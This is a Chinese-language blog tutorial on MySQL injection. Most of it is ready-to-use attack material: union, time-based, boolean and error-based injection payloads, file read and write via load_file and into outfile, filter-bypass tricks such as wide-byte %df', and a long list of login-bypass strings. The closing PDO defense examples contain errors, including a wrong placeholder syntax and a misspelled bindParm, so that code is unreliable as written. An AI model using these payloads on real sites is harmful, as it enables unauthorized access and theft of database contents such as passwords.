MySql注入的基本了解

常用的mysql语句

创建mysql用户

#‘host’的值为指定哪些ip可以登录,值为‘%’表示任何人可以登录,值为'localhost'仅允许本机登录
CREATE USER 'username'@'host' IDENTIFIED BY 'password';	  

此处创建用户名为test, 密码为123456

img


读取文件内容

#读取指定路径的文件内容
select load_file('c:/phpstudy/www/key.txt')

img


写入文件内容

#向指定路径的文件写入内容
select '123' into outfile 'c:/flag.txt'

img


注意:如果不能写入文件,先查看mysql的配置文件,若secure_file_priv的值为NULL, 请修改mysql.ini文件

修改mysql.ini 文件,在[mysqld] 下加入secure_file_priv =,随后重启mysql服务

show global variables like '%secure%';

img

修改mysql.ini 文件,在[mysqld] 下加入secure_file_priv =,保存,重启mysql。


时间盲注常用语句

sleep(秒数)

#sleep通常配合if语句实现时间盲注
select * from sqlfaker.news where id=1 and sleep(1)

img


if(条件,true,false)

#条件若为真,返回且执行ture,否则返回且执行false
select if(1=1,1,2)

img


length(字符串)

#获取字符串的长度
select length(database())

mid(str,首位,个数)

img

img


limit(start, length), 参数start是从0开始的

limit(0,1) #0表示第一行,获取表第一行的内容
limit(1,1) #1表示第二行,获取表第二行的内容
limit(0,2) #获取表前面两行的内容


报错注入常用语句

extractvalue(1,sql注入语句)

updatexml(1,sql注入语句,0)

extractvalue(1,select database())
updatexml(1,select database(),0)

mysql自带的总表

Information_schema:mysql5.0以上版本自带数据库,记录当前数据库所有数据库名、表名、列名

表名作用
Information_schema.schemata存放所有数据库名的表
information_schema.tables存放所有表名的表
Information_schema.columns存放所有列名的表
列名作用
table_name表的列名
column_name列的列名
table_schema数据库的列名,存在于information_schema.tablesInformation_schema.columns
schema_name数据库的列名,只存在information_schema.schemata这张表中

Sql注入类型

联合查询注入

1.判断是否存在注入

select * from news where id=1 or 1=1     #逻辑为真,返回正常页面
select * from news where id=1 and 1=2    #逻辑为假,返回其他页面

2.判断列名数量

select * from news where id=1 order by 2     #可通过二分法来判断列名数量 

3.判断那些列名能显值

因为要确定将sql注入语句写入到能显值得列名中

select * from news where id=1 union select 1,2   #看看哪个列名能显示值 

4.获取所有数据库名

#从information_schema.schemata表中获取所有的数据库名字
select * from news where id=1 union select schema_name,2 from information_schema.schemata

5.获取指定数据库的所有表名

#从information_schema.tables表中获取名为"sql"的数据库下的所有表名
select * from news where id=1 union select table_name,2 from information_schema.tables where table_schema="sql"

6.获取指定表的所有列名

#从information_schema.columns获取名为"news"的表下的所有列名
select * from news where id=1 union select column_name,2 from information_schema.columns where table_name="news"

7.获取指定数据库、表、列下的值

#从sql数据库的news表中获取列名为username和password的值
select * from news where id=1 union select username,password from sql.news

基于时间的盲注

1.猜当前数据库名字的长度:

id=1 and sleep(if(length(database())=1,0,5))

2.猜当前数据库的名字:

#ord()转换成ASCII码
id=1 and sleep(if(ord(mid(database(),1,1))=115,0,5))

id=1 and sleep(if(ord(mid(database(),2,1))=115,0,5))

3.猜指定数据库的表的长度:

#从information_schema.tables表中猜名为"database"的数据库的表的长度
id=1 and sleep(if(length((select table_name from information_schema.tables where table_schema="database" limit 0,1))=5,0,5))

id=1 and sleep(if(length((select table_name from information_schema.tables where table_schema="database" limit 1,1))=5,0,5))

4.猜指定数据库的表的名字:

#从information_schema.tables表中猜名为"database"的数据库的表的名字
id=1 and sleep(if(ord(mid((select table_name from information_schema.tables where table_schema="database" limit 0,1),1,1))=115,0,5))

id=1 and sleep(if(ord(mid((select table_name from information_schema.tables where table_schema="database" limit 1,1),1,1))=115,0,5))

5.猜指定表的字段的长度:

#从information_schema.columns表中猜名为"users"的表的字段的长度
id=1 and sleep(if(length((select column_name from information_schema.columns where table_name="users" limit 0,1))=1,0,5))

id=1 and sleep(if(length((select column_name from information_schema.columns where table_name="users" limit 1,1))=1,0,5))

6.猜指定表的字段的名字:

#从information_schema.columns表中猜名为"users"的表的字段的名字
id=1 and sleep(if(ord(mid((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=115,0,5))

id=1 and sleep(if(ord(mid((select column_name from information_schema.columns where table_name="users" limit 1,1),1,1))=115,0,5))

7.猜指定数据库,表名、列名的值:

#从database.users表中猜用户和密码的长度
id=1 and sleep(if(length((select user,pass from database.users))=1,0,5))  

#从database.users表中猜用户和密码的内容
id=1 and sleep(if(ord(mid((select user,pass from database.users),1,1))=115,0,5))   

基于布尔的盲注

和上面的时间盲注流程差不多

id=1 and length(database())=1
 
id=1 and ord(mid(database(),1,1))=115

四种报错注入

insert注入:针对用户注册

INSERT INTO news(id,name) VALUES (3,'ko' or updatexml (1,concat(0x7e,(version()),0),0))

update注入:针对用户修改

update users SET password='faker’or updatexml(2,concat(0x7e,(version())),0)or''where username='fucker'

delete注入:针对信息删除

delete from sqlfaker where username= '2' or updatexml(2,concat(0x7e,(version())),0)#'

limit注入:

Select * from sqlfaker.news where id>0 order by id limit0,1 procedure analyse(updatexml (1,concat(0x7e,(version()),0),0))

sql注入常用绕过

1.HEX编码绕过单双引号过滤

通过对表名、列名和数据库名进行HEX编码, 可有效绕过单双引号过滤机制

img


2.参数加密注入

有些url里的参数是加密的,网站服务器在收到url加密过的参数时会对其进行解密,面对这种情况要先知道url参数采用的是什么加密方式, 然后对sql注入语句进行相应的加密

如下图所示,此网站都url参数采用base64编码, 那么我们的sql注入语句也要使用base64编码

img

img


3.宽字节绕过单双引号过滤

涉及注入的php函数addslashes() ,其作用是在每个单双引号前添加反斜杠,如下图所示

img


将闭合符号由单(双)引号修改成%df'

简单来说就是%df'就是把\吃掉然后变成了�\' , 由此来实现符号闭合

img


1%df' union select 1,user(),3 #

img


万能密码注入

介绍

一些后端代码会通过查询返回的行数来判断是否登录成功,若查询返回的是一行或多行, 后端代码会识别成登录成功

此处演示的sql查询语句: select * from users where user='$user' and pass='$password'


user字段注入

构造user字段的值: admin'#

完整sql查询语句: select * from users where user='admin'#' and pass='$password'

实际sql查询语句: select * from users where user='admin'

image-20210521103735280


pass字段注入

构造pass字段的值: 'or 1=1 or'

完整sql查询语句: select * from users where user='$user' and pass=''or 1=1 or''

实际sql查询语句: select * from users where true

mysql逻辑判断是从前往后排,假and假or真or假的整体逻辑为

image-20210521103856650


常用万能密码

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

PDO技术防御sql注入

调用quote函数

<?php
@$id = addcslashes($_GET['X']);  //对GET参数采取单双引号过滤机制
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root');  //创对象建PDO
$id = $pdo->quote($id);   //调用quote函数
$sql = "select * from users where id=$id";
if ($row = $pdo->query($sql)) {
	foreach($row as $key => $value){
		print_r($value);	
	}	
}
echo $sql;
?>

预处理sql语句:

1、通过命名参数防止注入

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id:$id";  //定义sql语句
$stmt = $pdo->prepare($sql);    //预处理sql语句
$stmt->execute(array(":id"=>$id));   //execute参数为数组,执行预处理过的sql语句
echo $stmt->rowCount();   //返回执行sql语句后的结果命令行,大于0为成功,等于0为失败
?>

2、通过问号占位符防止注入

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id=?";
$stmt = $pdo->prepare($sql);    //预处理sql语句
$stmt->execute(array($id));   //execute参数为数组,执行预处理过的sql语句
echo $stmt->rowCount();   //返回执行sql语句后的结果命令行,大于0为成功,等于0为失败
?>

3、通过bindParam()绑定参数

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id:$id";
$stmt = $pdo->prepare($sql);  //预处理sql语句
$stmt->bindParm(":id",$id,PDO::PARAM_STR);
$stmt->execute();
echo $stmt->rowCount();
?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值